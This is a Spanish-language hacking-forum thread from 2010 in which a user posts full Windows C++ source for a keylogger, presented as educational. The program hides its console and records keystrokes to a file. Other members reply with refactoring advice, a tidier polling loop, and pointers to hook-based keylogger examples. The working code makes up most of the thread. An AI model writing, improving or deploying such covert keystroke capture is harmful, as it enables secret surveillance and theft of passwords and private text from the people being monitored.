Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: M3LiNdR1 en 29 Mayo 2010, 14:07 pm



Título: Keylogger en C++
Publicado por: M3LiNdR1 en 29 Mayo 2010, 14:07 pm
Pues os enseño el codigo que he programado, basandome, en lo que he leído por Internet. Acepto críticas y consejos :).
Ya se que faltan keys, pero este codigo es educativo y solo lo he programado para saber como funcionan.
Sin mas a añadir, os cuelgo el codigo:

Código
  1. #include <iostream>
  2. #include <windows.h>
  3. using namespace std;
  4.  
  5.  
  6. char keys() {
  7. char c = '/';
  8. if (GetAsyncKeyState('A')) c = 'A';
  9. else if (GetAsyncKeyState('B')) c = 'B';
  10. else if (GetAsyncKeyState('C')) c = 'C';
  11. else if (GetAsyncKeyState('D')) c = 'D';
  12. else if (GetAsyncKeyState('E')) c = 'E';
  13. else if (GetAsyncKeyState('F')) c = 'F';
  14. else if (GetAsyncKeyState('G')) c = 'G';
  15. else if (GetAsyncKeyState('H')) c = 'H';
  16. else if (GetAsyncKeyState('I')) c = 'I';
  17. else if (GetAsyncKeyState('J')) c = 'J';
  18. else if (GetAsyncKeyState('K')) c = 'K';
  19. else if (GetAsyncKeyState('L')) c = 'L';
  20. else if (GetAsyncKeyState('M')) c = 'M';
  21. else if (GetAsyncKeyState('N')) c = 'N';
  22. else if (GetAsyncKeyState('O')) c = 'O';
  23. else if (GetAsyncKeyState('P')) c = 'P';
  24. else if (GetAsyncKeyState('Q')) c = 'Q';
  25. else if (GetAsyncKeyState('R')) c = 'R';
  26. else if (GetAsyncKeyState('S')) c = 'S';
  27. else if (GetAsyncKeyState('T')) c = 'T';
  28. else if (GetAsyncKeyState('U')) c = 'U';
  29. else if (GetAsyncKeyState('V')) c = 'V';
  30. else if (GetAsyncKeyState('W')) c = 'W';
  31. else if (GetAsyncKeyState('X')) c = 'X';
  32. else if (GetAsyncKeyState('Y')) c = 'Y';
  33. else if (GetAsyncKeyState('Z')) c = 'Z';
  34. else if (GetAsyncKeyState('1')) c = '1';
  35. else if (GetAsyncKeyState('2')) c = '2';
  36. else if (GetAsyncKeyState('3')) c = '3';
  37. else if (GetAsyncKeyState('4')) c = '4';
  38. else if (GetAsyncKeyState('5')) c = '5';
  39. else if (GetAsyncKeyState('6')) c = '6';
  40. else if (GetAsyncKeyState('7')) c = '7';
  41. else if (GetAsyncKeyState('8')) c = '8';
  42. else if (GetAsyncKeyState('9')) c = '9';
  43. else if (GetAsyncKeyState('0')) c = '0';
  44. else if (GetAsyncKeyState(VK_SHIFT)) c = '^';
  45. else if (GetAsyncKeyState(VK_ESCAPE)) c = 0x1B;
  46. else if (GetAsyncKeyState(VK_BACK)) c = ' ';
  47. return c;
  48. }
  49.  
  50. int main() {
  51. FreeConsole(); //Esconde el terminal
  52. FILE *f;
  53. f = fopen("file.txt","w"); //Crea i abre un archivo
  54. char c = ' ';
  55. while(c != 0x1B) {
  56. c = keys();
  57. if (c != '/') {
  58. fprintf( f , "%c",c); //Escribe el caracter en el archivo
  59. //cout << c;
  60. }
  61. Sleep(120); //Interrumpe el programa durante 120 milisegundos
  62. }
  63. fclose(f);
  64. AllocConsole(); //Muestra el terminal
  65. cout << "FIN DE PROGRAMA :)" << endl;
  66. }

Explico un poco el codigo y bueno, la idea principal.
La función mas importante(creo yo) es: GetAsyncKeyState();
Esta función devuelve un valor o otro depende de si has pulsado la tecla o no, entonces le pasas el Virtual-Key Code como parametro y
a partir de ahí te dice si has pulsado la tecla o no.

Y bueno, nose con los comentarios se entiende bien que hace cada cosa no?
Lo que si es una "guarrada" son las inicializaciones del char c; pero esque tenia que evitar que me copiara la misma tecla pulsada multiples veces.
Hay alguna otra forma?


Esto es todo!! Espero sus opiniones.

P.D: Tuve que poner la función sleep, porque las interrupciones del teclado actuan mas rapido que los dedos de mi mano y claro, alomejor
pulsaba una tecla y el pc detectaba que la pulsaba mas veces.


Muchas gracias!!  :D


Título: Re: Keylogger en C++
Publicado por: h0oke en 29 Mayo 2010, 14:58 pm
Hay algo raro... pero... será que en la función keys() tienes muchos GetAnseyKeyState? Creo que lo correcto sería llamar a esta última una única vez, y en la función keys, hacer un switch de la tecla leída.


Título: Re: Keylogger en C++
Publicado por: Horricreu en 29 Mayo 2010, 21:32 pm
Es mejor utilizar hooks, te ahorras mucho código y van mejor ;)

Saludos :P


Título: Re: Keylogger en C++
Publicado por: M3LiNdR1 en 29 Mayo 2010, 21:57 pm
Citar
Hay algo raro... pero... será que en la función keys() tienes muchos GetAnseyKeyState? Creo que lo correcto sería llamar a esta última una única vez, y en la función keys, hacer un switch de la tecla leída.

Con una sola llamada? y entonces como lo tratas para cada boton del teclado?



Es mejor utilizar hooks, te ahorras mucho código y va mejor  ;)

Saludos  :P

Que es esto de los hooks???, lo he leído por el foro. Pero no lo entiendo.


Título: Re: Keylogger en C++
Publicado por: @synthesize en 29 Mayo 2010, 22:00 pm
Me gusta la idea, pero no es nada portable, usar la librería Windows, evidentemente xDDD.

¿No hay alguna forma de usarlo con cabeceras estándar?


Título: Re: Keylogger en C++
Publicado por: Horricreu en 29 Mayo 2010, 23:22 pm
Hooks (http://msdn.microsoft.com/en-us/library/ms997537.aspx) para Windows ;)

Saludos :P

PD: busca en Google, hay muchos ejemplos de keyloggers usando hooks en C/C++.


Título: Re: Keylogger en C++
Publicado por: seba123neo en 29 Mayo 2010, 23:25 pm
Keylogger using window hooks (http://www.daniweb.com/code/snippet217096.html)


Título: Re: Keylogger en C++
Publicado por: M3LiNdR1 en 1 Junio 2010, 00:08 am
Me gusta la idea, pero no es nada portable, usar la librería Windows, evidentemente xDDD.

¿No hay alguna forma de usarlo con cabeceras estándar?

Mmmm....si, he encontrado este proyecto por internet, por si te interesa:
http://sourceforge.net/projects/lkl/



Gracias Horricreu  y seba123neo, ya entiendo que son...Esq claro yo en principio pensaba usar algun evento en java y hacer el programa en java, pero claro, solo podia aplicar los eventos de los controles. Voy a ver si existen hooks en java y como tratarlos ;)

Sino c++ :)


Título: Re: Keylogger en C++
Publicado por: Horricreu en 1 Junio 2010, 18:07 pm
Sí hay hooks en Java, pero te recomendaría utilizar C/C++ para hacerlo, ya sea por su sencillez (si dominas la API) y sobretodo porque hay muchísima más información en C/C++.


Gracias Horricreu  y seba123neo, ya entiendo que son...Esq claro yo en principio pensaba usar algun evento en java y hacer el programa en java, pero claro, solo podia aplicar los eventos de los controles. Voy a ver si existen hooks en java y como tratarlos ;)

Sino c++ :)

De nada ::)

Saludos :P


Título: Re: Keylogger en C++
Publicado por: pizarron en 3 Junio 2010, 09:51 am
Si todavía queres seguir usando GetAsyncKeyState() podes hacer lo siguiente para los caractéres alfanuméricos:

Código
  1. char keys() {
  2. char c = '/';
  3. for( char key='0'; key<='Z'; key++ ){
  4. if( key<='9' || key>='A' )
  5. if( GetAsyncKeyState(key) ){
  6. c = key;
  7. break;
  8. }
  9. }
  10.  
  11. if( c=='/' ){
  12. if (GetAsyncKeyState(VK_SHIFT)) c = '^';
  13. else if (GetAsyncKeyState(VK_ESCAPE)) c = 0x1B;
  14. else if (GetAsyncKeyState(VK_BACK)) c = ' ';
  15. }
  16.  
  17. return c;
  18. }